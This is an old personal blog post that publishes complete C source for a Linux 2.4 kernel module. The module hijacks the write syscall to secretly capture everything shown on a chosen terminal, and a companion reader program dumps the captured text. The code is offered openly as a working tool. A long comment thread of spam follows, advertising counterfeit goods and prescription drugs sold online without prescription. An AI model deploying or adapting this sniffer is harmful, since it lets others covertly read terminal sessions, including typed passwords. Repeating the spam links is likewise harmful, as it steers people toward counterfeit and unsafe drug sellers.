Datenterrorist
"I am here to serve you, master!" - Operation Takedown _

.:: TTY Sniffer for Linux 2.4 ::.

A simple LKM to sniff a TTY. The TTY to sniff will be configured in /proc/ttysniff and the data can be read from the device /dev/ttysniff (mknod /dev/ttysniff c 40 0).


/*
Just a simple TTY sniffing LKM for Linux 2.4
TTY to sniff can be configured via /proc/ttysniff/*
(default is major 4 minor 2)
TTY data can be read from the device /dev/ttysniff
(use the tool watchtty to do so)
Device must exist (mknod /dev/ttysniff c 40 0)

Programmed by Bastian Ballmann
http://www.datenterrorist.de
30.06.2004

Compile with gcc -I/usr/src/linux/include -c ttysniff.c
Run with insmod ttysniff.o

This program is free software; you can redistribute
it and/or modify it under the terms of the
GNU General Public License version 2 as published
by the Free Software Foundation.

This program is distributed in the hope that it will
be useful, but WITHOUT ANY WARRANTY; without even
the implied warranty of MERCHANTABILITY or FITNESS
FOR A PARTICULAR PURPOSE.
See the GNU General Public License for more details.
*/

#define __KERNEL__
#define MODULE
#define PROCHOOK_H

#include <linux/module.h>
#include <linux/kernel.h>
#include <linux/mm.h>
#include <linux/fs.h>
#include <linux/proc_fs.h>
#include <sys/syscall.h>
#include <asm/uaccess.h>


EXPORT_NO_SYMBOLS;
MODULE_LICENSE("GPL");

/* Syscall stuff */
extern void *sys_call_table[];
int (*old_write)(int, const void *, size_t);
int new_write(int, const void *, size_t);

/* TTY */
#define TTYSIZE 4
char tty_minor[TTYSIZE] = {0};
char tty_major[TTYSIZE] = {0};

/* Ring buffer to store input */
#define BUFSIZE 4096
char buffer[BUFSIZE] = {0};
int buf_in = 0;
int buf_out = 0;

/* Proc stuff */
struct proc_dir_entry *proc_dir;
struct proc_dir_entry *proc_minor;
struct proc_dir_entry *proc_major;
int proc_read_minor(char *, char **, off_t, int, int *, void *);
int proc_write_minor(struct file *, const char *, unsigned long, void *);
int proc_read_major(char *, char **, off_t, int, int *, void *);
int proc_write_major(struct file *, const char *, unsigned long, void *);

/* Device stuff */
static int dev_open(struct inode *, struct file *);
static int dev_close(struct inode *, struct file *);
static int dev_read(struct file *, char *, size_t, loff_t *);

static struct file_operations fops =
{
owner: THIS_MODULE,
read: dev_read,
open: dev_open,
release: dev_close,
};


/************************************************************************
MAIN PART
************************************************************************/

/* Initialization */
int init_module(void)
{
/* Default TTY */
tty_major[0] = '4';
tty_minor[0] = '2';

/* Create proc dir */
proc_dir = proc_mkdir("ttysniff", &proc_root);

/* Create proc files */
if(proc_dir)
{
proc_major = create_proc_entry("major", 0600, proc_dir);
proc_major->owner = THIS_MODULE;
proc_major->write_proc = proc_write_major;
proc_major->read_proc = proc_read_major;

proc_minor = create_proc_entry("minor", 0600, proc_dir);
proc_minor->owner = THIS_MODULE;
proc_minor->write_proc = proc_write_minor;
proc_minor->read_proc = proc_read_minor;
}

/* Register device */
if(register_chrdev(40, "ttysniff", &fops))
return -EIO;

/* Overwrite write syscall */
old_write = sys_call_table[__NR_write];
sys_call_table[__NR_write] = new_write;

return 0;
}

/* Cleanup */
void cleanup_module(void)
{
/* Remove proc dir */
remove_proc_entry(proc_dir->name, &proc_root);

/* Unregister device */
unregister_chrdev(40, "ttysniff");

/* Restore write syscall */
sys_call_table[__NR_write] = old_write;
}


/************************************************************************
Syscalls
************************************************************************/

/*
New write() syscall
Invoke the old write() syscall
Test if data is writen to the device we should monitor
Copy data to our ring buffer if so
*/
int new_write(int fd, const void *buf, size_t count)
{
/* Get the inode of the filehandle */
struct file *file = (struct file *)fget(fd);
struct dentry *dentry = (struct dentry *)file->f_dentry;
struct inode *inode = (struct inode *)dentry->d_inode;

/* Invoke the old write() syscall */
int bytes_read = old_write(fd,buf,count);

/* Is this the TTY we shall sniff input from? */
if( (major(inode->i_rdev) == simple_strtol(tty_major,NULL,0)) &&
(minor(inode->i_rdev) == simple_strtol(tty_minor,NULL,0)) )
{
/* Copy the userland buffer byte by byte into our ring buffer */
while(count)
{
if(buf_in > BUFSIZE-1)
buf_in = 0;

get_user(buffer[buf_in++], (char*)buf++);
count--;
}
}

fput(file);
return bytes_read;
}


/************************************************************************
Proc
************************************************************************/

/* Read major number */
int proc_read_major(char *buf, char **start, off_t offset, int count, int *eof, void *data)
{
return sprintf(buf,"%s\n",tty_major);;
}

/* Write major number */
int proc_write_major(struct file *file, const char *buf, unsigned long count, void *data)
{
memset(tty_major,'',TTYSIZE);
strncpy(tty_major,buf,count);
return strlen(buf);
}

/* Read minor number */
int proc_read_minor(char *buf, char **start, off_t offset, int count, int *eof, void *data)
{
return snprintf(buf,count,"%s\n",tty_minor);;
}

/* Write minor number */
int proc_write_minor(struct file *file, const char *buf, unsigned long count, void *data)
{
memset(tty_minor,'',TTYSIZE);
strncpy(tty_minor,buf,count);
return strlen(buf);
}


/************************************************************************
Device
************************************************************************/

/* Open the device */
static int dev_open(struct inode *i, struct file *f)
{
if(current->euid != 0)
return -1;

MOD_INC_USE_COUNT;
return 0;
}

/* Close the device */
static int dev_close(struct inode *i, struct file *f)
{
MOD_DEC_USE_COUNT;
return 0;
}

/* Read from device */
static int dev_read(struct file *file, char *buf, size_t count, loff_t *pos)
{
int bytes_read = 0;

/* No new input? */
if(buf_out == buf_in)
return 0;

if(buffer[buf_out] == 0)
return 0;

/* Copy the ring buffer to the userland buffer */
while(count && buffer[buf_out])
{
put_user(buffer[buf_out++], buf++);
count--;
bytes_read++;

if(buf_out > BUFSIZE-1)
{
buf_out = 0;
break;
}
}

return bytes_read;
}
// EOF

/*
Simple program to read input from /dev/ttysniff
Programmed by Bastian Ballmann
http://www.datenterrorist.de
30.06.2004

This program is free software; you can redistribute
it and/or modify it under the terms of the
GNU General Public License version 2 as published
by the Free Software Foundation.

This program is distributed in the hope that it will
be useful, but WITHOUT ANY WARRANTY; without even
the implied warranty of MERCHANTABILITY or FITNESS
FOR A PARTICULAR PURPOSE.
See the GNU General Public License for more details.
*/

#include <stdio.h>
#include <errno.h>
#include <fcntl.h>
#include <unistd.h>


int main(void)
{
char c;

/* open device */
int fd = open("/dev/ttysniff",O_RDONLY);

if(fd == -1)
{
perror("open /dev/ttyhijack");
exit(1);
}

/* Unbuffered output */
setvbuf(stdout, NULL, _IONBF, 0);

/* Read input and write it to stdout */
while(1)
{
if(read(fd,&c,1) > 0)
putchar(c);
else
usleep(1);
}

close(fd);
return 0;
}

// [EOF]




posted at 14:18:00 on 06/30/04 by balle - Category: Source Code

.:: Comments ::.

remascompany wrote:

10/09/15 23:04:27

mcmoutlet mcmoutlet wrote:

http://www.oakleysunglasses...
http://www.oakleysunglass.u...
http://www.oakleysunglasses...
http://www.rayban-sunglasse...
http://www.raybansunglasses...
http://www.ray-banoutlet.name/
http://www.polo--ralphlaure...
http://www.ralphlauren-outl...
http://www.burberryoutleton...
http://www.burberry-outlets...
http://www.toms-shoes.us.org/
http://www.tomsoutlet.com.co/
http://www.michaelkorsoutle...
http://www.michaelkors-outl...
http://www.christian--loubo...
http://www.tory--burch.org/
http://www.toryburch-outlet...
http://www.gucci--outlet.org/
http://www.guccihandbag.in....
http://www.cheap-jordan-sho...
http://www.air-jordan.in.net/
http://www.cheap-jordans.in...
http://www.jordansretro.in....
http://www.nikeshoesinc.net/
http://www.nike-shoes.in.net/
http://www.air-max-2015.net/
http://www.airmax-90.in.net/
http://www.airmax-95.in.net/
http://www.nike-free-run.net/
http://www.nikefree-5.com/
http://www.chanel--handbags...
http://www.chanelbags-outle...
http://www.true-religion.cc/
http://www.north-faceoutlet...
http://www.coach-outlet-sto...
http://www.abercrombie.ar.com/
http://www.hollister.cn.com/
http://www.hermes.us.org/
http://www.new-balanceoutle...
http://www.reebok-shoes.net/
http://www.lululemon.com.co/
http://www.yogapants.eu.com/
http://www.rolex--replica.us/
http://www.omega--watches.u...
http://www.wedding--dresses...
http://www.montblanc.us.com/
http://www.insanityworkout....
http://www.nike-mercurial.org/
http://www.jimmy--choo.us/
http://www.uggboots.mex.com/
http://www.uggs--outlet.net/
http://www.nike-rosherun.net/
http://www.roshe--run.com/
http://www.nikeroshe.net/
http://www.tiffany-andco.net/
http://www.vans--shoes.com/
http://www.timberland--boot...
http://www.beatsheadphones....
http://www.salvatoreferraga...
http://www.cheap--jerseys.u...
http://www.cheapnfl-jerseys...
http://www.jerseysfrom-chin...
http://www.mizunowave.net/
http://www.mizunorunning-sh...
http://www.designer-handbag...
http://www.basketball--shoe...
http://www.cheapey-eglasses...
http://www.tommyhilfiger.us...
http://www.tommyhilfigerout...
http://www.ed-hardy.in.net/
http://www.levisjeans.org/
http://www.bcbgmax.in.net/
http://www.balenciaga.in.net/
http://www.marcjacobs-handb...
http://www.chaussuresloubou...
http://www.sac-michael-kors...
http://www.nikeblazer1.fr/
http://www.nikeairforce-1.fr/
http://www.michaelkors-outl...
http://www.michael-kors-can...
http://www.burberryuk.co.uk/
http://www.timberlandboot.o...
http://www.oakley--sunglass...
http://www.louboutinshoes.o...
http://www.air-jordans.co.uk/
http://www.chanelhandbags.o...
http://www.katespade-uk.org...
http://www.truereligion-jea...
http://www.newbalance-train...
http://www.conversesale.org...
http://www.lululemon.me.uk/
http://www.beats-bydre.co.uk/
http://www.macmakeupuk.co.uk/
http://www.maccosmetics-uk....
http://www.adidas-trainersu...
http://www.gucciuk.uk/
http://www.fitflop.me.uk/
http://www.adidasoriginals....
http://www.hermes.org.uk/
http://www.pandorauk.co.uk/
http://www.rolex--watches.c...
http://www.omegawatches.org...
http://www.michael-jordan.c...
http://www.michael--kors.or...
http://www.weddingdresses.m...
http://www.converse.org.uk/
http://www.hollister-uk.me.uk/
http://www.tiffany-and-co.o...
http://www.airmax-90.co.uk/
http://www.louis--vuitton.m...
http://www.mulberryoutlet.m...
http://www.north-face.org.uk/
http://www.timberland.org.uk/
http://www.rayban--sunglass...
http://www.asicstrainers.or...
http://www.prada.me.uk/
http://www.toms-shoes.org.uk/
http://www.tommy-hilfiger.o...
http://www.marcjacobs.org.uk/
http://www.uggs.org.uk/
http://www.ugg--boots.org.uk/
http://www.ugg-australia.co...
http://www.insanityworkout....
http://www.nike-free-run.co...
http://www.ferragamo.org.uk/
http://www.fitflops.me.uk/
http://www.nike-mercurial-s...
http://www.nikestoreuk.co.uk/
http://www.guessfactorycana...
http://www.nike--store.fr/
http://www.chaussure-nike-p...
http://www.adidas--supersta...
http://www.adidas-zxflux.fr/
http://www.montre-femme-hom...
http://www.michaeljordan.fr/
http://www.air-max-90.fr/
http://www.bracelet-pandora...
http://www.bracelet-swarovs...
http://www.sac--chanel.fr/
http://www.ralph--lauren.fr/
http://www.new-balance-femm...
http://www.michael--kors.fr/
http://www.lunetterayban.fr/
http://www.tommy--hilfiger.fr/
http://www.lunette-oakley.fr/
http://www.ugg-australia.fr/
http://www.nike--huarache.fr/
http://www.asics-gellyte.fr/
http://www.scarpe-nike-stor...
http://www.scarpe-adidas-su...
05/19/16 04:27:27

mcmoutlet mcmoutlet wrote:

http://www.oakleysunglasses...
http://www.oakley-sunglasse...
http://www.oakleysunglasses...
http://www.rayban-sunglasse...
http://www.raybansunglasses...
http://www.ray-banoutlet.name/
http://www.polo--ralphlaure...
http://www.ralphlauren-outl...
http://www.burberryoutleton...
http://www.burberry-outlet-...
http://www.toms-shoes.us.org/
http://www.tomsoutlet.com.co/
http://www.michaelkorsoutle...
http://www.michaelkorsoutle...
http://www.christian--loubo...
http://www.tory--burch.org/
http://www.toryburch-outlet...
http://www.gucci--outlet.org/
http://www.guccihandbag.in....
http://www.cheap-jordan-sho...
http://www.air-jordan.in.net/
http://www.cheap-jordans.in...
http://www.jordansretro.in....
http://www.nikeshoesinc.net/
http://www.nike-shoes.in.net/
http://www.air-max-2015.net/
http://www.airmax-90.in.net/
http://www.airmax-95.in.net/
http://www.nike-free-run.net/
http://www.nikefree-5.com/
http://www.chanel--handbags...
http://www.chanelbags-outle...
http://www.truereligionjean...
http://www.north-faceoutlet...
http://www.coach-outlet-sto...
http://www.abercrombie.ar.com/
http://www.hollister.cn.com/
http://www.hermes.us.org/
http://www.new-balanceoutle...
http://www.reebok-shoes.net/
http://www.lululemon.com.co/
http://www.yogapants.eu.com/
http://www.rolex--replica.us/
http://www.omega--watches.com/
http://www.wedding--dresses...
http://www.montblancpens.in...
http://www.insanityworkout....
http://www.nike-mercurial.org/
http://www.jimmy--choo.us/
http://www.uggboots.mex.com/
http://www.uggs--outlet.net/
http://www.nike-rosherun.net/
http://www.roshe--run.com/
http://www.nikeroshe.net/
http://www.tiffany-andco.net/
http://www.vans--shoes.com/
http://www.timberland--boot...
http://www.beatsheadphones....
http://www.salvatoreferraga...
http://www.cheap--jerseys.u...
http://www.cheapnfl-jerseys...
http://www.jerseysfrom-chin...
http://www.mizunowave.net/
http://www.mizunorunning-sh...
http://www.basketball--shoe...
http://www.tommyhilfiger.us...
http://www.tommyhilfigerout...
http://www.ed-hardy.in.net/
http://www.levisjeans.org/
http://www.bcbgmax.in.net/
http://www.balenciaga.in.net/
http://www.marcjacobs-handb...
http://www.louboutin-pas-ch...
http://www.sac-michael-kors...
http://www.nikeblazer1.fr/
http://www.nikeairforce-1.fr/
http://www.michaelkorsukpur...
http://www.michael-kors-can...
http://www.burberryuk.org.uk/
http://www.timberlandboot.o...
http://www.oakley--sunglass...
http://www.louboutinshoes.o...
http://www.air-jordans.co.uk/
http://www.chanel-handbags.uk/
http://www.katespade-uk.org...
http://www.truereligion-jea...
http://www.newbalance-train...
http://www.converse-uk.org.uk/
http://www.lululemon.me.uk/
http://www.beats-by-dre.co.uk/
http://www.macmakeupuk.co.uk/
http://www.maccosmetics-uk....
http://www.adidas-trainersu...
http://www.gucciuk.uk/
http://www.fitflop.me.uk/
http://www.adidasoriginals....
http://www.hermes.org.uk/
http://www.pandorauk.co.uk/
http://www.rolex--watches.c...
http://www.omegawatches.org...
http://www.michael-jordan.c...
http://www.michael--kors.or...
http://www.weddingdresses.m...
http://www.converse.org.uk/
http://www.hollister-uk.me.uk/
http://www.tiffany-and-co.o...
http://www.airmax-90.co.uk/
http://www.louis--vuitton.m...
http://www.mulberryoutlet.m...
http://www.north-face-uk.or...
http://www.timberland.org.uk/
http://www.rayban--sunglass...
http://www.asicstrainers.or...
http://www.prada.me.uk/
http://www.toms-shoes.org.uk/
http://www.tommy-hilfiger.o...
http://www.marcjacobs.org.uk/
http://www.uggs.org.uk/
http://www.ugg--boots.org.uk/
http://www.ugg-australia.co...
http://www.insanityworkout....
http://www.nike-free-run.co...
http://www.ferragamo.org.uk/
http://www.fitflops.me.uk/
http://www.nike-mercurial-s...
http://www.nikestoreuk.co.uk/
http://www.guessfactorycana...
http://www.nike--store.fr/
http://www.chaussure-nike-p...
http://www.adidas--supersta...
http://www.adidas-zxflux.fr/
http://www.montre-femme-hom...
http://www.michaeljordan.fr/
http://www.air-max-90.fr/
http://www.bracelet-pandora...
http://www.bracelet-swarovs...
http://www.sac--chanel.fr/
http://www.ralph--lauren.fr/
http://www.new-balance-femm...
http://www.michael--kors.fr/
http://www.lunetterayban.fr/
http://www.tommy--hilfiger.fr/
http://www.lunette-oakley.fr/
http://www.ugg-australia.fr/
http://www.nike--huarache.fr/
http://www.asics-gellyte.fr/
http://www.scarpe-nike-stor...
http://www.scarpe-adidas-su...
http://www.pandora-braccial...
http://www.orologi-rolex.it/
08/16/16 07:37:55

assab4q1l10 wrote:

<a href=http://cephalexinonline.site/>cephalexin penicillin</a> <a href=http://paroxetine.bid/>buy paroxetine online</a> <a href=http://buycefadroxil.webcam/>cefadroxil 500 mg sinus infection</a> <a href=http://cymbaltamedication.c...>cymbalta pills</a> <a href=http://medrol16mg.date/>medrol tablets</a>
12/19/16 10:31:04

Charleshenue wrote:

<a href=http://cymbalta.gb.net/>cymbalta</a> <a href=http://prednisoneonline.gdn/>prednisone on line</a> <a href=http://viagrasoftonline.link/>buy viagra soft</a> <a href=http://augmentin-antibiotic...>augmentin antibiotic</a>
01/02/17 02:06:55

Aaronwefly wrote:

<a href=http://wellbutrin365.us.com/>Generic Wellbutrin</a>
01/02/17 17:52:00

Alfredwes wrote:

wh0cd147346 <a href=http://vardenafilonline.site/>buy vardenafil online</a> <a href=http://viagraforsale.link/>buy online viagra</a> <a href=http://buypropecia.club/>where can i buy propecia online</a> <a href=http://prozac-generic.us/>prozac</a> <a href=http://prednisone-10mg.us/>sterapred ds</a> <a href=http://quibront.bid/>generic quibron-t</a> <a href=http://buy-cafergot.site/>buy cafergot online</a> <a href=http://buyazithromycin.club/>where can i buy azithromycin online</a> <a href=http://lisinopril-hctz.cric...>lisinopril 20mg</a> <a href=http://buyeurax.us.com/>buy eurax</a>
01/15/17 04:32:39

TracyIrrax wrote:

wh0cd543783 <a href=http://genericcelebrex.site/>buy celebrex without prescription</a> <a href=http://overthecounterdifluc...>buy diflucan online without prescription</a> <a href=http://buyvardenafil.us.com/>vardenafil</a> <a href=http://viagra-cheap.science/>viagra</a> <a href=http://keppra.us/>keppra 750 mg</a> <a href=http://cafergot2013.top/>cafergot online</a> <a href=http://buyacticin.webcam/>acticin</a> <a href=http://buyazithromycin.us.com/>next page</a> <a href=http://chloromycetin.science/>chloromycetin</a> <a href=http://citalopram-online.pa...>citalopram</a>
01/21/17 20:38:56

MichaelSlulp wrote:

wh0cd221799 <a href=http://online-cialis.bid/>cialis</a> <a href=http://carafate.us/>carafate</a> <a href=http://augmentin-antibiotic...>augmentin antibiotic</a> <a href=http://lioresal.top/>lioresal</a> <a href=http://mobic-7-5.science/>discover more here</a> <a href=http://prednisonesteroid.date/>prednisone steroids</a> <a href=http://shatavari.bid/>shatavari</a> <a href=http://amoxil365.us.com/>amoxil</a>
01/22/17 17:14:04

Kennethvitty wrote:

wh0cd626086 <a href=http://femaleviagra.click/>female viagra</a> <a href=http://rogaine247.us.com/>rogaine</a> <a href=http://buylevaquin.us.com/>buy levaquin</a> <a href=http://alesse247.club/>alesse</a>
01/25/17 14:22:41

Alfredwes wrote:

wh0cd989989 <a href=http://deltasone.us.com/>Deltasone</a> <a href=http://aldactone.us.com/>aldactone</a> <a href=http://celebrex365.us.com/>celebrex price</a> <a href=http://colchicine365.us.com/>where can i buy colchicine</a> <a href=http://crestor365.us.com/>generic crestor</a> <a href=http://buyviagrasoft.us.com/>viagra soft mastercard</a> <a href=http://tretinoin.us.com/>Tretinoin</a> <a href=http://buywellbutrin.us.com/>as an example</a> <a href=http://augmentin.us.org/>Cheapest Augmentin</a> <a href=http://cialisdaily.us.com/>cilias</a>
01/26/17 01:15:59

Aaronwefly wrote:

wh0cd872358 <a href=http://augmentin875mg.site/>augmentin antibiotic</a> <a href=http://zoloftonline.click/>order zoloft online</a> <a href=http://azithromycin.christmas/>azithromycin</a> <a href=http://tetracycline-antibio...>buy tetracycline antibiotics</a> <a href=http://advair-diskus-250-50...>advair diskus 250/50</a> <a href=http://furosemide40mg.review/>furosemide pill</a> <a href=http://buy-propecia.click/>minoxidil propecia</a> <a href=http://buydiflucanonline.gdn/>buy diflucan online</a> <a href=http://doxy-100.gdn/>buy doxycycline</a> <a href=http://nexiumonline.click/>buy nexium online</a>
01/29/17 10:25:41

Charleshenue wrote:

wh0cd464102 <a href=http://buytretinoin.us/>tretinoin cream</a> <a href=http://proscar-online.us/>proscar buy</a> <a href=http://atarax.christmas/>atarax</a> <a href=http://zoloft-50-mg.gdn/>zoloft</a> <a href=http://vardenafil75.top/>vardenafil</a> <a href=http://cialisprice.click/>cialis</a>
02/08/17 00:21:11

Michaelsnubs wrote:

wh0cd395510 <a href=http://tofranil.top/>buy tofranil</a>
02/25/17 09:36:28

Michaelsnubs wrote:

wh0cd62438 <a href=http://buy-levaquin.com/>cheap levaquin</a>
03/01/17 16:27:52

hzx wrote:

http://www.adidas.in.net
http://www.ralphlaurenukoff...
http://www.polooutlet.net.co
http://www.louisvuittonoutl...
http://www.pandoraoutlet.us...
http://www.longchamp-outlet...
http://www.christianloubout...
http://www.hollister-outlet...
http://www.eccoshoes.in.net
http://www.cheapraybansungl...
http://www.nikeoutletstores...
http://www.cheapjordansshoe...
http://www.toryburchoutlet....
http://www.fredperrypoloshi...
http://www.prada.us.org
http://www.nikeairmaxshoes....
http://www.rayban-sunglasse...
http://www.adidassuperstar....
http://www.jordanoutlet.us.com
http://www.tomsoutletonline...
http://www.michael-kors-han...
http://www.poloralphlauren-...
http://www.niketrainers.uk
http://www.oakleysunglasses...
http://www.nikeairmaxuk.me.uk
http://www.catboots.us.com
http://www.jordanshoes.us.org
http://www.longchamp.us.com
http://www.nikefreerun.us.com
http://www.coachcanadaoutle...
http://www.raybanssunglasse...
http://www.outletmcm.us
http://www.nikeoutletstore....
http://www.michaelkorsuk.co...
http://www.louboutin.us.com
http://www.michaelkors--out...
http://www.adidastrainersuk...
http://www.outletpoloralphl...
http://www.coachhandbags-on...
http://www.louis-vuittonout...
http://www.adidastrainers.uk
http://www.fitflops.org
http://www.mlbjerseyswholes...
http://www.underarmour.in.net
http://www.true-religion.me.uk
http://www.adidasoriginalss...
http://www.levisjeans.us.com
http://www.nhlhockey-jersey...
http://www.burberryhandbags...
http://www.nikesb.us
http://www.ralphlauren.eu.com
http://www.poloralphlaurenu...
http://www.nike-rosherun.in...
http://www.nikecortez.org
http://www.timberlandoutlet...
http://www.replica-watches....
http://www.oakleystore.com.co
http://www.rosherun.org
http://www.fitflops.us.org
http://www.nike-airmax.me.uk
http://www.montblancpenoffi...
http://www.nikeroshe.org.uk
http://www.lecoqsportifchau...
http://www.montblanc-pen.name
http://www.cheap-mlb-jersey...
http://www.tomsshoes.nom.co
http://www.jordans.in.net
http://www.mcm.us.org
http://www.tomsoutlet.org
http://www.louisvuittonoutl...
http://www.adidasoutletstor...
http://www.fitflopssaleuk.o...
http://www.burberryhandbags...
http://www.nikeblazers.in.net
http://www.pumashoes.us.com
http://www.michaelkorsonlin...
http://www.michaelkorsoutle...
http://www.ralphlaurenpolo....
http://www.adidasyeezy-boos...
http://www.leejeans.us.com
http://www.nikeairmax2017.org
http://www.new-balanceshoes...
http://www.pandorauk.me.uk
http://www.louboutinoutlets...
http://www.adidas-nmd.co.uk
http://www.raybanpascher.fr
http://www.raybansunglasses...
http://www.ralphlauren-polo...
http://www.true-religionjea...
http://www.fitflops.us.com
http://www.adidasshoes.in.net
http://www.coachoutlet-onli...
http://www.michaelkorsus.us...
http://www.outletralphlaure...
http://www.christianloubout...
http://www.guccishoes.net.co
http://www.redbottoms.me.uk
http://www.coach-factoryonl...
http://www.cheapraybans.ca
http://www.reebok-shoes.us.com
hzx20170303
03/03/17 03:06:15

Charleshenue wrote:

wh0cd416377 <a href=http://aciclovir.us.com/>Zovirax</a>
03/04/17 14:15:51

TracyIrrax wrote:

wh0cd628484 <a href=http://buybentyl.com/>bentyl sale</a>
03/08/17 01:59:24

Michaelsnubs wrote:

wh0cd605617 <a href=http://cipro.us.com/>Cipro Online</a>
03/08/17 10:32:00

Michaelsnubs wrote:

wh0cd194573 <a href=http://cipro2017.science/>cipro</a> <a href=http://sildalis2017.cricket/>generic sildalis</a> <a href=http://buycialis2017.bid/>cialis price comparison</a> <a href=http://kamagra2017.bid/>kamagra gold</a> <a href=http://viagra17.science/>viagra</a>
03/18/17 21:01:03

Aaronwefly wrote:

wh0cd678096 <a href=http://buytadacip.top/>buy tadacip</a>
03/19/17 06:56:36

MichaelTip wrote:

<a href="http://clomidformenforsale.ru/">clomid stockist uk</a> <a href="http://cialisonlinecanada.ru/">Ņialis online</a> <a href="http://mexicanpharmacynopre...">canadian pharmacy cialis</a> <a href="http://vigara.ru/">cheap viagra overnight delivery</a> <a href="http://sildenafil100mg.ru/">sildenafil tablet 100mg</a> <a href="http://cialis5mgpricewalmar...">generic 5mg cialis</a> <a href="http://levitrawithoutprescr...">non prescription levitra</a> <a href="http://cialisforsaleinusa.ru/">buy cialis</a> <a href="http://cheapestviagraonline...">cheap viagra</a> <a href="http://cheapviagraovernight...">viagra online no prescription</a>
03/19/17 09:38:49

Aaronwefly wrote:

wh0cd263405 <a href=http://buyvardenafil.us.com/>levitra</a>
03/19/17 21:47:40

Charleshenue wrote:

wh0cd167519 <a href=http://caverta.us/>caverta</a>
03/20/17 15:47:55

Michaelsnubs wrote:

wh0cd313544 <a href=http://floxin.us/>floxin otic</a>
03/22/17 20:36:34

Add Comments